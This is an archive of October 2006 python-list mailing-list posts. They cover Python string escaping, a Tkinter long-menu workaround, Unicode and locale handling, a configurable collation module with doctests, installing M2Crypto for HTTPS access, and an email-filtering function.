> > Kay Schluehr enlightened us with:
> > > Usually I struggle a short while with \ and either 
> succeed or give up.
> > > Today I'm in a different mood and don't give up. So here is my
> > > question:
> > >
> > > You have an unknown character string c such as '\n' , 
> '\a' , '\7' etc.
> > >
> > > How do you echo them using print?
> > >
> > > print_str( c ) prints representation '\a' to stdout for c = '\a'
> > > print_str( c ) prints representation '\n' for c = '\n'
> > > ...
> > >
> > > It is required that not a beep or a linebreak shall be printed.
> >
> > try "print repr(c)".
> 
> This yields the hexadecimal representation of the ASCII character and
> does not simply echo the keystrokes '\' and 'a' for '\a' ignoring the
> escape semantics. One way to achieve this naturally is by prefixing
> '\a' with r where r'\a' indicates a "raw" string. But unfortunately
> "rawrification" applies only to string literals and not to string
> objects ( such as c ). I consider creating a table consisting of pairs
> {'\0': r'\0','\1': r'\1',...}  i.e. a handcrafted mapping but maybe
> I've overlooked some simple function or trick that does the same for
> me.
> 
> Kay
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 
> 
>  
> 


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From fredrik at pythonware.com  Fri Oct 13 13:19:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 13 Oct 2006 19:19:10 +0200
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <452fb8cf$1@nntp0.pdx.net>
References: <mailman.259.1160543174.11739.python-list@python.org>	<452cab5d$0$5294$426a74cc@news.free.fr>	<463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com>	<egic47$irg$1@sea.gmane.org>	<mailman.296.1160558036.11739.python-list@python.org>	<452cd0df$0$11417$426a74cc@news.free.fr>
	<452fb8cf$1@nntp0.pdx.net>
Message-ID: <egohqd$6ve$1@sea.gmane.org>

Scott David Daniels wrote:

> Nope.  idempotent: f(f(x)) = f(x)
> That is, after doing it once, repeating it won't hurt.

http://en.wikipedia.org/wiki/Idempotence_%28computer_science%29

</F>



From eric_brunel at despammed.com  Thu Oct  5 04:01:13 2006
From: eric_brunel at despammed.com (Eric Brunel)
Date: Thu, 05 Oct 2006 10:01:13 +0200
Subject: Long Tkinter Menu
References: <1160008434.662011.99300@m73g2000cwd.googlegroups.com>
Message-ID: <op.tgxu8bzzrqur0o@eb.pragmadev>

On Thu, 05 Oct 2006 02:33:54 +0200, Dustan <DustanGroups at gmail.com> wrote:

> I don't know if this is because of Tkinter (ie Tk) itself or the
> Windows default way of handling things, but when I create a very long
> menu (my test is shown below), the way it displays is rather sucky; the
> menu stretches from the top of the moniter's window to the bottom (no
> matter the size of the actual application).
>
> Is there any alternative format for how a long menu gets displayed? It
> would be nice if say, I could make the menu only go to the borders of
> the application itself (in this case, not that long).

To limit the menu in the application window, will be difficult. But here  
are two ways of automatically limiting the number of entries that can  
appear in a menu by specializing the Tkinter Menu class:

------------------------------------------------------
 from Tkinter import *

class LongMenu(Menu):
   """
   Automatically creates a cascade entry labelled 'More...' when the
   number of entries is above MAX_ENTRIES.
   """

   MAX_ENTRIES = 20

   def __init__(self, *args, **options):
     Menu.__init__(self, *args, **options)
     self.nextMenu = None

   def add(self, itemType, cnf={}, **kw):
     if self.nextMenu is not None:
       return self.nextMenu.add(itemType, cnf, **kw)
     nbEntries = self.index(END)
     if nbEntries < LongMenu.MAX_ENTRIES:
       return Menu.add(self, itemType, cnf, **kw)
     self.nextMenu = LongMenu(self)
     Menu.add(self, 'cascade', label='More...', menu=self.nextMenu)
     return self.nextMenu.add(itemType, cnf, **kw)


class AutoBreakMenu(Menu):
   """
   Automatically adds the 'columnbreak' option on menu entries to make
   sure that the menu won't get too high.
   """

   MAX_ENTRIES = 20

   def add(self, itemType, cnf={}, **kw):
     entryIndex =  1 + (self.index(END) or 0)
     if entryIndex % AutoBreakMenu.MAX_ENTRIES == 0:
       cnf.update(kw)
       cnf['columnbreak'] = 1
       kw = {}
     return Menu.add(self, itemType, cnf, **kw)



if __name__ == '__main__':
   root = Tk()

   menubar = Menu(root)

   def fillMenu(menu):
     for i in xrange(100):
       menu.add_command(label=str(i), command=root.quit)
     menu.add_command(label="Exit", command=root.quit)

   menu1 = LongMenu(menubar, tearoff=0)
   fillMenu(menu1)
   menu2 = AutoBreakMenu(menubar, tearoff=0)
   fillMenu(menu2)

   menubar.add_cascade(label="Test1", menu=menu1)
   menubar.add_cascade(label="Test2", menu=menu2)

   root.config(menu=menubar)

   root.mainloop()
------------------------------------------------------

If your application is more complicated than that (e.g if you insert menu  
entries after the first adds), you'll have to change the code above a bit,  
since it doesn't handle calls to insert at all. But you get the idea.

HTH
-- 
python -c "print ''.join([chr(154 - ord(c)) for c in  
'U(17zX(%,5.zmz5(17l8(%,5.Z*(93-965$l7+-'])"


From http  Sun Oct  8 15:17:14 2006
From: http (Paul Rubin)
Date: 08 Oct 2006 12:17:14 -0700
Subject: Newbie - Stuck
References: <1160309372.750331.8140@m7g2000cwm.googlegroups.com>
	<1160311884.033532.173480@i42g2000cwa.googlegroups.com>
	<1160334274.720136.44090@h48g2000cwc.googlegroups.com>
Message-ID: <7xbqomlirp.fsf@ruckus.brouhaha.com>

r3bol at yahoo.com writes:
> Thanks everyone. I guess I was a little quick to think I could jump
> straight into Python.

Well, if you're willing to try diving into it instead of jumping, you
might like

    http://diveintopython.org


From cephire at gmail.com  Fri Oct 27 17:38:28 2006
From: cephire at gmail.com (Joseph)
Date: 27 Oct 2006 14:38:28 -0700
Subject: Import Error
Message-ID: <1161975836.677112.23100@b28g2000cwb.googlegroups.com>

Hi,
I am using Karrigell & Sprite for webdevelopment. Sprite is placed in
the main folder of my app. I got a sub-folder called admin. I am using
the below line to import Sprite within the subfolder.

from ..sprite import Sprite

Most of the time it works. However time to time, it will throw an error
that there is no module called Sprite. I delete the .pyc file, call a
page in the main folder, then it will work.

Any help how I can resolve it? 

Thanks in advance,
Joseph



From rurpy at yahoo.com  Mon Oct 16 14:02:26 2006
From: rurpy at yahoo.com (rurpy at yahoo.com)
Date: 16 Oct 2006 11:02:26 -0700
Subject: OT: What's up with the starship?
In-Reply-To: <1161020758.218728.225800@k70g2000cwa.googlegroups.com>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>
	<1160993757.780911.37610@b28g2000cwb.googlegroups.com>
	<1161020365.264307.24100@i3g2000cwc.googlegroups.com>
	<1161020758.218728.225800@k70g2000cwa.googlegroups.com>
Message-ID: <1161021746.883641.224780@m73g2000cwd.googlegroups.com>


micahel at gmail.com wrote:
> r... at yahoo.com wrote:
>
> > I don't think that would help in the case of Pywin32 since the
> > Sourceforge dates for build 210 are 9/22.
> > I emailed Mark Hammond but have not heard anything back yet.
>
> In the case of pywin32, are you at all sure that you actually
> downloaded anything from starship.python.net?  AFAICT all the files are
> now hosted on sf, and there doesn't seem to be any vaguely new files in
> the backup of /home/www.

The files I downloaded were from sourceforge.  I don't know if
starship.python.net hosts the source files or plays any role in
building the disrtribution package.  It may be that is all done
elsewhere.  But given starship.python.net's historical association
with Pywin32, I am not going to just assume that.



From paolopantaleo at gmail.com  Tue Oct 24 08:27:01 2006
From: paolopantaleo at gmail.com (Paolo Pantaleo)
Date: Tue, 24 Oct 2006 14:27:01 +0200
Subject: A py2exe like tool for Linux
Message-ID: <83e8215e0610240527n786189d3o78987cd1cb4dd66d@mail.gmail.com>

Hi,

is thre something like py2exe for Linux? I don't need to build a
standalone executable (most Linuxes have python instaled), but at
least I need to provide all the needed libraries togheter with my
source code, so users just need to download one file, and not several
libraries.

PAolo


From ptmcg at austin.rr._bogus_.com  Mon Oct 23 19:22:43 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Mon, 23 Oct 2006 23:22:43 GMT
Subject: python class instantiation
References: <453D2C61.7000800@useReplyTo.hotmail.com><ehjal8$veu$1@sea.gmane.org>
	<mailman.1017.1161640981.11739.python-list@python.org>
Message-ID: <79c%g.21914$ta3.19903@tornado.texas.rr.com>

"?ric Daigneault" <daigno at gmail.com> wrote in message 
news:mailman.1017.1161640981.11739.python-list at python.org...
> It is humbling to see how simple yet powerfull python`s view on things 
> is....

+1 QOTW 




From sonaldgr8 at gmail.com  Wed Oct 25 05:12:58 2006
From: sonaldgr8 at gmail.com (sonald)
Date: 25 Oct 2006 02:12:58 -0700
Subject: Unicode support in python
In-Reply-To: <1161356841.238729.271470@h48g2000cwc.googlegroups.com>
References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com>
	<1161356841.238729.271470@h48g2000cwc.googlegroups.com>
Message-ID: <1161767578.477352.92530@m7g2000cwm.googlegroups.com>

HI
Can u please tell me if there is any package or class that I can import
for internationalization, or unicode support?

This module is just a small part of our application, and we are not
really supposed to alter the code.
We do not have nobody here to help us with python here. and are
supposed to just try and understand the program. Today I am in a
position, that I can fix the bugs arising from the code, but cannot
really try something like internationalization on my own. Can u help?
Do you want me to post the complete code for your reference?
plz lemme know asap.


John Roth wrote:
> sonald wrote:
> > Hi,
> > I am using python2.4.1
> >
> > I need to pass russian text into python and validate the same.
> > Can u plz guide me on how to make my existing code support the
> > russian  text.
> >
> > Is there any module that can be used for unicode support in python?
> >
> > Incase of decimal numbers, how to handle "comma as a decimal point"
> > within a number
> >
> > Currently the existing code is woking fine for English text
> > Please help.
> >
> > Thanks in advance.
> >
> > regards
> > sonal
>
> As both of the other responders have said, the
> coding comment at the front only affects source
> text; it has absolutely no effect at run time. In
> particular, it's not even necessary to use it to
> handle non-English languages as long as you
> don't want to write literals in those languages.
>
> What seems to be missing is the notion that
> external files are _always_ byte files, and have to
> be _explicitly_ decoded into unicode strings,
> and then encoded back to whatever the external
> encoding needs to be, each and every time you
> read or write a file, or copy string data from
> byte strings to unicode strings and back.
> There is no good way of handling this implicitly:
> you can't simply say "utf-8" or "iso-8859-whatever"
> in one place and expect it to work.
>
> You've got to specify the encoding on each and
> every open, or else use the encode and decode
> string methods. This is a great motivation for
> eliminating duplication and centralizing your
> code!
>
> For your other question: the general words
> are localization and locale. Look up locale in
> the index. It's a strange subject which I don't
> know much about, but that should get you 
> started.
> 
> John Roth



From mdsteele at gmail.com  Fri Oct 20 19:04:36 2006
From: mdsteele at gmail.com (mdsteele at gmail.com)
Date: 20 Oct 2006 16:04:36 -0700
Subject: Inheriting property functions
In-Reply-To: <mailman.877.1161385083.11739.python-list@python.org>
References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com>
	<mailman.877.1161385083.11739.python-list@python.org>
Message-ID: <1161385476.323196.255550@k70g2000cwa.googlegroups.com>

Robert Kern wrote:
> Inheritance really doesn't work that way. The code in the class suite gets
> executed in its own namespace that doesn't know anything about inheritance. The
> inheritance rules operate in attribute access on the class object later.

Right.  That was what I should have said, but it came out wrong when I
tried to say it.  (-:

-Matt



From editor at methodsandtools.com  Mon Oct 23 13:50:35 2006
From: editor at methodsandtools.com (editormt)
Date: 23 Oct 2006 10:50:35 -0700
Subject: Introduction article on Ruby on Rail published
Message-ID: <1161625834.989623.287980@m73g2000cwd.googlegroups.com>

The Methods & Tools newsletter has just released in its html archive
section the article "An Introduction to Web Development Using the Ruby
on Rails Framework". This article presents the basic concepts used by
the popular Ruby on Rails web development framework.

http://www.methodsandtools.com/archive/archive.php?id=47



From robert.kern at gmail.com  Tue Oct  3 14:15:42 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Tue, 03 Oct 2006 13:15:42 -0500
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eft974$1au$1@sea.gmane.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<eft78f$put$1@sea.gmane.org>
	<eft974$1au$1@sea.gmane.org>
Message-ID: <efu9c7$lql$1@sea.gmane.org>

Fredrik Lundh wrote:
> Robert Kern wrote:
> 
>>> Does this smell "Bitkeeper fiasco" to anyone else than me?
>> No.
> 
> that's just not true.  lots of people have voiced concerns over using 
> closed-sourced stuff originally designed for enterprise-level Java users 
> for an application domain where Python has several widely used agile 
> alternatives to chose from.
> 
> if they hadn't done so, there probably wouldn't have been an evaluation 
> period in the first place.

Sure. But what's the similarity to the fiasco part of the BitKeeper fiasco? 
There's no silly non-compete agreement. The client is a generic web browser so 
everyone can play. One of the charges of the committee was to make sure that the 
data could be extracted easily (something the semi-open Sourceforge didn't do so 
well) such that moving would be reasonable should the JIRA folks decided to take 
their ball away.

I didn't mean to trivialize concerns about about JIRA in particular or 
proprietary systems in general, but using poor analogies as a rhetorical club 
seems ill-advised.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From fredrik at pythonware.com  Sun Oct  8 07:19:47 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 08 Oct 2006 13:19:47 +0200
Subject: Bizzare lst length problem
In-Reply-To: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
Message-ID: <egamsj$cq9$1@sea.gmane.org>

Ben wrote:

> The output from this would be (for a given key value):
>                 Number:	181
>                 Level:	ovride+supvis
>                 Location:	 mons=4 v8.0 3rd floor
>                 MOPS:	['287', '288', '289', '290']
>                 List Length:	28
>                 Matrix:	kng
> 
> This is really odd...my len(v.mops) ought to return 4 (4 elements in
> the list).

adding a

     print type(v.mops), repr(v.mops)

debug statement might provide you with the clues you need.

 > In fact it returns 28. looking at outputs from lots of
> records, it seems that the length is almost always 7 time too great
> (28/7=4)....but not always.

 >>> len("['287',")
7
 >>> len(" '288',")
7
 >>> len(" '289',")
7
 >>> len(" '290']")
7

</F>



From rrr at ronadam.com  Wed Oct 18 16:52:43 2006
From: rrr at ronadam.com (Ron Adam)
Date: Wed, 18 Oct 2006 15:52:43 -0500
Subject: Flexible Collating (feedback please)
In-Reply-To: <35kZg.6681$fl.2685@dukeread08>
References: <35kZg.6681$fl.2685@dukeread08>
Message-ID: <UxwZg.6707$fl.6559@dukeread08>


I made a number of changes ...  (the new version is listed below)


These changes also resulted in improving the speed by about 3 times when all 
flags are specified.

Collating now takes about 1/3 (or less) time.  Although it is still quite a bit 
slower than a bare list.sort(), that is to be expected as collate is locale 
aware and does additional transformations on the data which you would need to do 
anyways.  The tests where done with Unicode strings as well.

Changed the flag types from integer values to a list of named strings. The 
reason for this is it makes finding errors easier and you can examine the flags 
attribute and get a readable list of flags.

A better regular expression for separating numerals.  It now separates numerals 
in the middle of the string.

Changed flag COMMA_IN_NUMERALS to IGNORE_COMMAS, This was how it was implemented.

Added flag PERIOD_AS_COMMAS

This lets you collate decimal separated numbers correctly such as version 
numbers and internet address's.  It also prevents numerals from being 
interpreted as floating point or decimal.

It might make more since to implement it as PERIOD_IS_SEPARATOR. Needed?

Other minor changes to doc strings and tests were made.


Any feedback is welcome.

Cheers,
    Ron



"""
     Collate.py

     A general purpose configurable collate module.

     Collation can be modified with the following keywords:

         CAPS_FIRST              -> Aaa, aaa, Bbb, bbb
         HYPHEN_AS_SPACE         -> Don't ignore hyphens
         UNDERSCORE_AS_SPACE     -> Underscores as white space
         IGNORE_LEADING_WS       -> Disregard leading white space
         NUMERICAL               -> Digit sequences as numerals
         IGNORE_COMMAS           -> Allow commas in numerals
         PERIOD_AS_COMMAS        -> Periods can separate numerals.

     * See doctests for examples.

     Author: Ron Adam, ron at ronadam.com

"""
__version__ = '0.02 (pre-alpha) 10/18/2006'

import re
import locale
import string

locale.setlocale(locale.LC_ALL, '')  # use current locale settings

#  The above line may change the string constants from the string
#  module.  This may have unintended effects if your program
#  assumes they are always the ascii defaults.

CAPS_FIRST = 'CAPS_FIRST'
HYPHEN_AS_SPACE = 'HYPHEN_AS_SPACE'
UNDERSCORE_AS_SPACE = 'UNDERSCORE_AS_SPACE'
IGNORE_LEADING_WS = 'IGNORE_LEADING_WS'
NUMERICAL = 'NUMERICAL'
IGNORE_COMMAS = 'IGNORE_COMMAS'
PERIOD_AS_COMMAS = 'PERIOD_AS_COMMAS'

class Collate(object):
     """ A general purpose and configurable collator class.
     """
     def __init__(self, flags=[]):
         self.flags = flags
         self.numrex = re.compile(r'([\d\.]*|\D*)', re.LOCALE)
         self.txtable = []
         if HYPHEN_AS_SPACE in flags:
             self.txtable.append(('-', ' '))
         if UNDERSCORE_AS_SPACE in flags:
             self.txtable.append(('_', ' '))
         if PERIOD_AS_COMMAS in flags:
             self.txtable.append(('.', ','))
         if IGNORE_COMMAS in flags:
             self.txtable.append((',', ''))
         self.flags = flags

     def transform(self, s):
         """ Transform a string for collating.
         """
         if not self.flags:
             return locale.strxfrm(s)
         for a, b in self.txtable:
             s = s.replace(a, b)
         if IGNORE_LEADING_WS in self.flags:
             s = s.strip()
         if CAPS_FIRST in self.flags:
             s = s.swapcase()
         if NUMERICAL in self.flags:
             slist = self.numrex.split(s)
             for i, x in enumerate(slist):
                 try:
                     slist[i] = float(x)
                 except:
                     slist[i] = locale.strxfrm(x)
             return slist
         return locale.strxfrm(s)

     def __call__(self, a):
         """ This allows the Collate class work as a sort key.

                 USE: list.sort(key=Collate(flags))
         """
         return self.transform(a)

def collate(slist, flags=[]):
     """ Collate list of strings in place.
     """
     slist.sort(key=Collate(flags).transform)

def collated(slist, flags=[]):
     """ Return a collated list of strings.
     """
     return sorted(slist, key=Collate(flags).transform)

def _test():
     """
     DOC TESTS AND EXAMPLES:

     Sort (and sorted) normally order all words beginning with caps
     before all words beginning with lower case.

         >>> t = ['tuesday', 'Tuesday', 'Monday', 'monday']
         >>> sorted(t)     # regular sort
         ['Monday', 'Tuesday', 'monday', 'tuesday']

     Locale collation puts words beginning with caps after words
     beginning with lower case of the same letter.

         >>> collated(t)
         ['monday', 'Monday', 'tuesday', 'Tuesday']

     The CAPS_FIRST option can be used to put all words beginning
     with caps before words beginning in lowercase of the same letter.

         >>> collated(t, [CAPS_FIRST])
         ['Monday', 'monday', 'Tuesday', 'tuesday']


     The HYPHEN_AS_SPACE option causes hyphens to be equal to space.

         >>> t = ['a-b', 'b-a', 'aa-b', 'bb-a']
         >>> collated(t)
         ['aa-b', 'a-b', 'b-a', 'bb-a']

         >>> collated(t, [HYPHEN_AS_SPACE])
         ['a-b', 'aa-b', 'b-a', 'bb-a']


     The IGNORE_LEADING_WS and UNDERSCORE_AS_SPACE options can be
     used together to improve ordering in some situations.

         >>> t = ['sum', '__str__', 'about', '  round']
         >>> collated(t)
         ['  round', '__str__', 'about', 'sum']

         >>> collated(t, [IGNORE_LEADING_WS])
         ['__str__', 'about', '  round', 'sum']

         >>> collated(t, [UNDERSCORE_AS_SPACE])
         ['  round', '__str__', 'about', 'sum']

         >>> collated(t, [IGNORE_LEADING_WS, UNDERSCORE_AS_SPACE])
         ['about', '  round', '__str__', 'sum']


     The NUMERICAL option orders sequences of digits as numerals.

         >>> t = ['a5', 'a40', '4abc', '20abc', 'a10.2', '13.5b', 'b2']
         >>> collated(t, [NUMERICAL])
         ['4abc', '13.5b', '20abc', 'a5', 'a10.2', 'a40', 'b2']


     The IGNORE_COMMAS option prevents commas from seperating numerals.

         >>> t = ['a5', 'a4,000', '500b', '100,000b']
         >>> collated(t, [NUMERICAL, IGNORE_COMMAS])
         ['500b', '100,000b', 'a5', 'a4,000']


     The PERIOD_AS_COMMAS option can be used to sort version numbers
     and other decimal seperated numbers correctly.

         >>> t = ['5.1.1', '5.10.12','5.2.2', '5.2.19' ]
         >>> collated(t, [NUMERICAL, PERIOD_AS_COMMAS])
         ['5.1.1', '5.2.2', '5.2.19', '5.10.12']

     Collate also can be done in place by using collate() instead of
     collated().

         >>> t = ['Fred', 'Ron', 'Carol', 'Bob']
         >>> collate(t)
         >>> t
         ['Bob', 'Carol', 'Fred', 'Ron']

     """
     import doctest
     doctest.testmod()


if __name__ == '__main__':
     _test()



From steve at holdenweb.com  Sun Oct  8 16:05:07 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 08 Oct 2006 21:05:07 +0100
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1160335473.625244.261640@m7g2000cwm.googlegroups.com>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>	<mailman.1223.1159934114.10491.python-list@python.org>	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>	<mailman.1.1160189272.11739.python-list@python.org>	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>	<mailman.18.1160209645.11739.python-list@python.org>	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>	<mailman.28.1160242710.11739.python-list@python.org>	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>	<452846fe.0@entanet>	<1160267115.309599.26160@e3g2000cwe.googlegroups.com>	<pan.2006.10.08.00.59.05.695547@REMOVE.THIS.cybersource.com.au>	<1160269607.522241.311160@m73g2000cwd.googlegroups.com>	<pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au>	<1160332330.684420.276560@e3g2000cwe.googlegroups.com>	<mailman.61.1160333064.11739.python-list@python.org>
	<1160335473.625244.261640@m7g2000cwm.googlegroups.com>
Message-ID: <egbljr$5g1$1@sea.gmane.org>

MonkeeSage wrote:
> On Oct 8, 1:44 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> 
>>but "let's hypergeneralize and treat sequences and mappings as the same
>>thing" proposals are nothing new; a trip to the archives might be help-
>>ful.
> 
> 
> Huh? I don't want to treat sequences and mappings as the same thing.
> I'm talking about adding two similar convenience methods for sequences
> as already exist for mappings. That may make the two APIs closer, but
> that's not necessarily a bad thing (think the square-bracket accessor).
> Besides, has_index is sufficiently different already. If it's really a
> problem, change get() to at() for sequences. seq.at(2).
> 
> So far the reasons offered against adding those convenience methods
> are:
> 
> Reason: It's unnecessary / bloat.
> - Then the same thing is true of the dict methods.
> 
No: you are proposing to add features to the sequence interface for 
which there are few demonstrable use cases.

> Reason: It's not useful.
> - I know of several use cases and could probably find others.
> 
Well I certainly didn't find your last one particularly convincing: the 
attempt to reference a non-existent sequence member is almost always a 
programming error.

> Reason: It takes effort to implement it. Why don't you do it yourself
> if it's such a great idea!
> - Mabye I will. But that is only a reason why they aren't currently
> implemented, not why they *shouldn't* be.
> 
> Reason: It makes sequences and mapping to much alike.
> - Then change the names for the sequences methods.
> 
> That is to say, no good reason has been offered for why these methods
> shouldn't be implemented.
> 
I would argue exactly the opposite: the reason why they shouldn't be 
implemented is because no good reason has been presented why they *should*.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From ed at leafe.com  Wed Oct 11 21:51:47 2006
From: ed at leafe.com (Ed Leafe)
Date: Wed, 11 Oct 2006 21:51:47 -0400
Subject: Python component model
In-Reply-To: <1160502439.729432.13480@h48g2000cwc.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>
	<mailman.209.1160486725.11739.python-list@python.org>
	<zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>
	<1160502439.729432.13480@h48g2000cwc.googlegroups.com>
Message-ID: <061835A5-2296-490A-BD99-90B6C143B13B@leafe.com>

On Oct 10, 2006, at 1:47 PM, fumanchu wrote:

>> 4) Custom property and component editors: A component editor can  
>> present
>> a property editor or an editor for an entire component which the  
>> visual
>> design-time RAD environment can use to allow the programmer end- 
>> user of
>> the component to set or get component property values. Normally a  
>> design
>> time environment will present default property editors for each
>> component property type, but a component can override this.
>
> This is the hard part. I believe Dabo has done some work in this  
> space,
> but this is where the tight coupling comes in between code and tool, a
> coupling which Python has traditionally resisted.

	FWIW, the Dabo design tools store the design in a basic XML file,  
and are completely transparent to outside editing. There is nothing  
that prevents you from modifying a design in the editor of your  
choice; the Dabo visual editing tools simply give you WYSIWYG  
feedback as you edit.

-- Ed Leafe
-- http://leafe.com
-- http://dabodev.com




From monica.medina at ngc.com  Tue Oct 31 16:00:51 2006
From: monica.medina at ngc.com (matey)
Date: 31 Oct 2006 13:00:51 -0800
Subject: Python and SSL enabled
In-Reply-To: <bsidnSHPkPHlKqLYnZ2dnUVZ_v2dnZ2d@comcast.com>
References: <1161711493.617569.178870@h48g2000cwc.googlegroups.com>
	<bsidnSHPkPHlKqLYnZ2dnUVZ_v2dnZ2d@comcast.com>
Message-ID: <1162328451.004606.194700@m7g2000cwm.googlegroups.com>

Problem:  I want to be able to access an HTTPS website read/write
commands
to this website.

>From reading this group it appears I need M2Crypto and OpenSSL

Current version of Python 2.3.4

I downloaded:
M2Crypto 0.16
OpenSSL 0.9.7k
SWIG 1.3.29

Compiled OpenSSL libraries are located in /home/mmedina/lib/libcrypto.a
and libssl.a
I compiled M2Crytpo

cengsu01:/home/mmedina/crypt/m2kcrypto/m2crypto-0.16/build/lib.solaris-2.9-sun4u-2.3/M2Crypto
>ls -alt
total 1624
drwxr-xr-x   4 mmedina  asip         512 Oct 31 09:45 ./
-rwxr-xr-x   1 mmedina  asip      690332 Oct 31 09:45 __m2crypto.so*
drwxr-xr-x   3 mmedina  asip         512 Oct 30 08:38 ../
drwxr-xr-x   2 mmedina  asip         512 Oct 30 08:38 PGP/
drwxr-xr-x   2 mmedina  asip         512 Oct 30 08:38 SSL/
-rw-r--r--   1 mmedina  asip        8655 Jul  5 13:35 EC.py
-rw-r--r--   1 mmedina  asip         771 Jun 12 10:36 __init__.py
-rw-r--r--   1 mmedina  asip       14018 May 22 14:06 DSA.py
-rw-r--r--   1 mmedina  asip        1588 May 10 14:31 util.py
-rw-r--r--   1 mmedina  asip        7189 Apr 27  2006 SMIME.py
-rw-r--r--   1 mmedina  asip        2118 Apr 27  2006 m2urllib.py
-rw-r--r--   1 mmedina  asip       10784 Apr 26  2006 EVP.py
-rw-r--r--   1 mmedina  asip       11238 Apr 26  2006 RSA.py
-rw-r--r--   1 mmedina  asip       25817 Apr 11  2006 X509.py
-rw-r--r--   1 mmedina  asip         207 Mar 31  2006 callback.py
-rw-r--r--   1 mmedina  asip         379 Mar 29  2006 Rand.py
-rw-r--r--   1 mmedina  asip        7302 Mar 25  2006 BIO.py
-rw-r--r--   1 mmedina  asip        3306 Mar 20  2006 ASN1.py
-rw-r--r--   1 mmedina  asip        3085 Mar 20  2006 AuthCookie.py
-rw-r--r--   1 mmedina  asip        1330 Mar 20  2006 BN.py
-rw-r--r--   1 mmedina  asip        2374 Mar 20  2006 DH.py
-rw-r--r--   1 mmedina  asip         936 Mar 20  2006 Err.py
-rw-r--r--   1 mmedina  asip         692 Mar 20  2006 RC4.py
-rw-r--r--   1 mmedina  asip        2896 Mar 20  2006 ftpslib.py
-rw-r--r--   1 mmedina  asip        2210 Mar 20  2006 httpslib.py
-rw-r--r--   1 mmedina  asip         785 Mar 20  2006 m2.py
-rw-r--r--   1 mmedina  asip        1804 Mar 20  2006 m2xmlrpclib.py
-rw-r--r--   1 mmedina  asip         347 Mar 20  2006 threading.py
cengsu01:/home/mmedina/crypt/m2kcrypto/m2crypto-0.16/build/lib.solaris-2.9-sun4u-2.3/M2Crypto
>

However, when I use the following command: python setup.py install
I get the following error:

creating /usr/local/lib/python2.3/site-packages/M2Crypto
error: could not create
'/usr/local/lib/python2.3/site-packages/M2Crypto': Permission denied

Since I don't have root privleges can I install the M2Crypto somewhere
else?

Also, am I on the right track if I want to be able to access an Https
page?

thanks in advance,

Monica


Heikki Toivonen wrote:
> matey wrote:
> > I am have version 2.3.4.  I want to write a python script to access a
> > secure HTTPS.
> >
> > I tried the following:
> >
> > import urllib
> > urllib.urlopen("https://somesecuresite.com")
> > s = f.read()
> > f.close()
>
> I hope you know the Python stdlib SSL does not provide certificate
> checking etc. security features you almost certainly want in a
> production application. There are several 3rd party Python crypto
> libraries that provide more secure SSL out of the box, for example M2Crypto.
> 
> -- 
>   Heikki Toivonen



From rrr at ronadam.com  Thu Oct 19 14:40:56 2006
From: rrr at ronadam.com (Ron Adam)
Date: Thu, 19 Oct 2006 13:40:56 -0500
Subject: [OT] a little about regex
In-Reply-To: <mailman.743.1161241051.11739.python-list@python.org>
References: <mailman.669.1161155299.11739.python-list@python.org>	<RPkZg.6684$fl.2400@dukeread08>
	<mailman.743.1161241051.11739.python-list@python.org>
Message-ID: <mIPZg.6751$fl.6056@dukeread08>

Fulvio wrote:
> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
> 
> 
> On Wednesday 18 October 2006 15:32, Ron Adam wrote:
> 
>> |Instead of using two separate if's, Use an if - elif and be sure to test
> 
> Thank you, Ron, for the input :)
> I'll examine also in this mode. Meanwhile I had faced the total disaster :) of 
> deleting all my emails from all server ;(
> (I've saved them locally, luckly :) )
> 
>> |It's not exactly clear on what output you are seeking.  If you want 0 for
>> | not filtered and 1 for filtered, then look to Freds Hint.
> 
> Actually the return code is like herein:
> 
>     if _filter(hdrs,allow,deny):
>     # allow and deny are objects prepared by re.compile(pattern)
>         _del(Num_of_Email)
> 
> In short, it means unwanted to be deleted. 
> And now the function is :
> 
> def _filter(msg,al,dn):
>     """ Filter try to classify a list of lines for a set of compiled             
>      patterns."""
>     a = 0
>     for hdrline in msg:
>         # deny has the first priority and stop any further searching. Score 10 
>          #times
>         if dn.search(hdrline): return len(msg) * 10
>         if al.search(hdrline): return 0
>         a += 1
